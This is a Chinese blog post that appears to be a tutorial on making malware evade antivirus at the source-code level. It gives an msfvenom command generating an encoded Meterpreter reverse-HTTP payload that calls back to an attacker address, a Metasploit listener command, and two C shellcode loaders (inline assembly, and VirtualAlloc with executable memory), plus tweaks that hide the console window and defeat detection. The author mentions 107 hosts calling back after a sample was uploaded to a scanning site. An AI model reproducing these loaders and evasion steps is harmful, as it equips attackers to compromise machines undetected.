简单的源码免杀


1. 前言

 经常看到各种免杀的例子,源码免杀、二进制免杀、加载器免杀等等,最近学习了一下源码层面的免杀,在实验过程中与杀软对抗最终成功免杀,写下本文做个记录。

2. shellcode生成和二进制文件编译

  开始前有个小插曲,用360扫了扫之前编译的样本,当时v站查杀率1/72(提交到v站后cs一共上线了107台主机,emm):
virus
今天扫描的时候:
-查杀结果-
啊… Q哒不妞Q(Qwq)

好了不说了,进入正题,首先我们使用msfvenom生成C语言shellcode:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.8.102 LPORT=6666 -f c

msfvenom
然后网上找了一段C语言加载shellcode的代码。。通过内联汇编加载shellcode:

#include<stdio.h>
#include<windows.h>
#pragma comment(linker, "/OPT:nowin98")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口
unsigned char buf[] ="shellcode";
int main(int argc,char const *argv[])
{
 //内联汇编
 __asm   
 {
  lea eax,buf;   
  call eax;   
 }
}

话不多说,先编译上线测试,启动msf监听:

handler -p windows/meterpreter/reverse_http -H 0.0.0.0 -P 6666

handler
另一边编译源码,生成exe:
Build_exe
双击执行exe,msf上线:
reverse_meterpreter
执行过程发现没有被拦截,看起来这已经免杀了:
免杀成功
好的,免杀成功,本文结束。

3. VS免杀测试

  结束是不可能结束的,不然怎么混篇幅,只能换个不免杀的编译器,被杀了再随便改改源码这样子。
  用VS2019来编译源码,启动vs:
start vs2019

创建项目

复制代码编译
是吧,被发现了,我们将恶意代码全部删除后编译,发现还是被杀:

emmm? 怎么办啊,这都杀!? 其实有朋友应该注意到了下面这段代码,好吧 ,我是故意没删的,因为特征就是在这:

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 

接下来将这段代码删除,重新生成exe,然后进行扫描,发现成功过了杀软:

vs编译的这个内联加载不能正常上线,修改下加载方法:

#include<stdio.h>
#include<windows.h>
#include <time.h>
int main(int argc, char const* argv[])
{ 
unsigned char buf[] ="shellcode";
 void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, buf, sizeof buf);
 ((void(*)())exec)();
 return 0;
}

那么编译执行后会有个DOS窗口:

这里我们ShowWindow函数来隐藏窗体:
ShowWindow
需要两个参数,一个是程序窗口句柄,可以通过GetConsoleWindow 来获得当前窗口句柄,另一个是int类型的nCmdShow,来控制窗口的状态,这里使用SW_HIDE来隐藏窗口:
nCmdShow

ShowWindow(GetConsoleWindow(), SW_HIDE);

然后再编译执行和免杀测试,可以看到免杀且无窗口:

4. 参考

https://www.zhihu.com/question/282945808
https://blog.csdn.net/zac_sian/article/details/46778285
https://docs.microsoft.com/en-us/windows/console/getconsolewindow
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 上一篇
记一次简单的win提权 记一次简单的win提权
在一次测试中,通过rce漏洞获得了目标主机meterpreter会话,尝试进行一些提权实验。过程中两台机子都不通外网,本文记录一下获得会话并提权过程。
2020-09-06
下一篇 
Weblogic IIOP反序列化漏洞CVE-2020-2551复现 Weblogic IIOP反序列化漏洞CVE-2020-2551复现
2020年1月15日, Oracle官方发布了Weblogic IIOP反序列化漏洞CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。
2020-08-22
  目录